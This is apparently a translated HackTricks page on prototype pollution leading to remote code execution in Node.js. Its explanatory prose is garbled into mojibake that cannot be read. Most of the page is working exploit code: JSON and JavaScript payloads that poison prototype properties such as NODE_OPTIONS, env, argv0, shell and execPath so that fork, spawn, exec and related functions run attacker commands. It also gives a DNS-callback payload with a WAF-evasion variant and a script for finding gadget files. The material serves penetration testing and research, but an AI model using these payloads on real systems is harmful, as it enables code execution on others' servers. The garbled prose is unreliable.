Prototype Pollution to RCE

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Vulnerable Code

рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдПрдХ рдЕрд╕рд▓реА JS рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдХреЛрдб рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE via env vars

PP2RCE рдХрд╛ рдорддрд▓рдм рд╣реИ Prototype Pollution to RCE (Remote Code Execution).

рдЗрд╕ writeup рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЬрдм рдПрдХ process рдХреЛ child_process рд╕реЗ рдХрд┐рд╕реА рд╡рд┐рдзрд┐ (рдЬреИрд╕реЗ fork рдпрд╛ spawn рдпрд╛ рдЕрдиреНрдп) рдХреЗ рд╕рд╛рде spawn рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╡рд┐рдзрд┐ normalizeSpawnArguments рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИ рдЬреЛ рдирдП env vars рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ prototype pollution gadget рд╣реИ:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.

Poisoning __proto__

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ child_process рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ normalizeSpawnArguments рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдХрд╛рд░рдг, рдЬрдм рдХреБрдЫ рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ env рд╡реЗрд░рд┐рдПрдмрд▓ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдмрд╕ рдХреБрдЫ рднреА рдкреНрд░рджреВрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк __proto__.avar="valuevar" рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдПрдХ рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХреА рдЬрд╛рдПрдЧреА рдЬрд┐рд╕рдХрд╛ рдирд╛рдо avar рдФрд░ рдорд╛рди valuevar рд╣реЛрдЧрд╛ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, env рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЛ рдкрд╣рд▓рд╛ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ .env рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рдкреНрд░рджреВрд╖рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ (рдХреЗрд╡рд▓ рдХреБрдЫ рд╡рд┐рдзрд┐рдпреЛрдВ рдореЗрдВ) рд╡рд╣ рд╡реЗрд░рд┐рдПрдмрд▓ рдкрд╣рд▓рд╛ рд╣реЛрдЧрд╛ (рд╣рдорд▓реЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ)ред

рдЗрд╕рд▓рд┐рдП NODE_OPTIONS рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣рдорд▓реЗ рдореЗрдВ .env рдХреЗ рдЕрдВрджрд░ рдирд╣реАрдВ рд╣реИред

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

constructor.prototype рдХреЛ рдЬрд╝рд╣рд░реАрд▓рд╛ рдмрдирд╛рдирд╛

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреЗ рд╕рдорд╛рди рдПрдХ рдкреЗрд▓реЛрдб рдХреБрдЫ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рд╕рд╛рде рдЗрд╕ рд▓реЗрдЦ** рдореЗрдВ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред** рдореБрдЦреНрдп рдЕрдВрддрд░ рд╣реИрдВ:

  • payload рдХреЛ рдлрд╝рд╛рдЗрд▓ /proc/self/environ рдХреЗ рдЕрдВрджрд░ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдЗрд╕реЗ /proc/self/cmdline рдХреЗ argv0 рдХреЗ рдЕрдВрджрд░ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • рдлрд┐рд░, NODE_OPTIONS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлрд╝рд╛рдЗрд▓ /proc/self/environ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдмрдЬрд╛рдп, рдпрд╣ /proc/self/cmdline рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХрд░рддрд╛ рд╣реИред

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS Interaction

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрд▓реЛрдбреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, NODE_OPTIONS env var рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдордиреЗ рдкрд╣рд▓реЗ рдЪрд░реНрдЪрд╛ рдХреА рдереА рдФрд░ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ DNS рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

рдпрд╛, рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП WAFs рд╕реЗ рдкреВрдЫрдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process functions

рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рд╣рдо child_process рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗ рддрд╛рдХрд┐ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╣рдо рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

exec exploitation
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile рд╢реЛрд╖рдг

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

For **`execFile`** рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ **рдЬрд╝рд░реВрд░реА рд╣реИ рдХрд┐ node** рдХреЛ рдЪрд▓рд╛рдирд╛ рдкрдбрд╝реЗ рддрд╛рдХрд┐ NODE\_OPTIONS рдХрд╛рдо рдХрд░ рд╕рдХреЗрдВред\
рдЕрдЧрд░ рдпрд╣ **node** рдХреЛ рдирд╣реАрдВ рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдк **рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░** рдХреЗ рд╕рд╛рде рдЬреЛ рдХреБрдЫ рднреА рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рдЙрд╕рдХреА **рдХрд╛рд░реНрдпрд╡рд╛рд╣реА рдХреЛ рдХреИрд╕реЗ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВред

**рдЕрдиреНрдп** рддрдХрдиреАрдХреЗрдВ **рдмрд┐рдирд╛** рдЗрд╕ рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдХрд╛рдо рдХрд░рддреА рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ **рд╕рдВрднрд╡ рд╣реИ** рдХрд┐ **рдЬреЛ рдЪрд▓ рд░рд╣рд╛ рд╣реИ** рдЙрд╕реЗ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ**ред (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рднрд▓реЗ рд╣реА рдЖрдк `.shell` рдХреЛ рдкреНрд░рджреВрд╖рд┐рдд рдХрд░ рд╕рдХреЗрдВ, рдЖрдк рдЙрд╕ рдЪреАрдЬрд╝ рдХреЛ рдкреНрд░рджреВрд╖рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдЬреЛ рдЪрд▓ рд░рд╣реА рд╣реИ)ред 

</details>

<details>

<summary><code>fork</code> рд╢реЛрд╖рдг</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn рд╢реЛрд╖рдг
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync рд╢реЛрд╖рдг
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync рд╢реЛрд╖рдг
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
spawnSync рд╢реЛрд╖рдг
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

рдлреЛрд░реНрд╕рд┐рдВрдЧ рд╕реНрдкреЙрди

рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЖрдкрдиреЗ рджреЗрдЦрд╛ рдХрд┐ рдЧреЗрдЬреЗрдЯ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ spawn рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИ (рдХреБрдЫ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ child_process рдХреЗ рд╕рднреА рддрд░реАрдХреЗ рдЗрд╕реЗ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ)ред рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдпрд╣ рдХреЛрдб рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдерд╛, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдХреЛрдб рдЗрд╕реЗ рдХреЙрд▓ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ рддреЛ рдХреНрдпрд╛ рд╣реЛрдЧрд╛ред

рдПрдХ require рдлрд╝рд╛рдЗрд▓ рдкрде рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛

рдЗрд╕ рдЕрдиреНрдп рд▓реЗрдЦ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдкрде рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ require рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ред рдЙрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдмрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдПрдХ .js рдлрд╝рд╛рдЗрд▓ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рдЖрдпрд╛рдд рдХрд░рдиреЗ рдкрд░ рдПрдХ рд╕реНрдкреЙрди рд╡рд┐рдзрд┐ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧреАред рдЖрдпрд╛рдд рдХрд░рдиреЗ рдкрд░ рд╕реНрдкреЙрди рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдорд╛рдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • рдиреАрдЪреЗ рдФрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЦреЛрдЬреЗрдВ

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд░рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЙрд▓ рдХреЗ рд▓рд┐рдП child_process рдХреЛ рдХреЛрдИ рдкреИрдбрд┐рдВрдЧ рдХреЗ рдмрд┐рдирд╛ рдЦреЛрдЬреЗрдЧреА (рдлрдВрдХреНрд╢рдВрд╕ рдХреЗ рдЕрдВрджрд░ рдХреЙрд▓ рджрд┐рдЦрд╛рдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
рдкрд┐рдЫрд▓реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджреНрд╡рд╛рд░рд╛ рдкрд╛рдП рдЧрдП рджрд┐рд▓рдЪрд╕реНрдк рдлрд╝рд╛рдЗрд▓реЗрдВ
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();

  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдкрде рд╕реЗрдЯ рдХрд░рдирд╛

рдкрд┐рдЫрд▓реА рддрдХрдиреАрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрд╡рд╢реНрдпрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рд▓реЗрдХрд┐рди рдпрд╣ рд╣рдореЗрд╢рд╛ рд╕рдЪ рдирд╣реАрдВ рд╣реИред

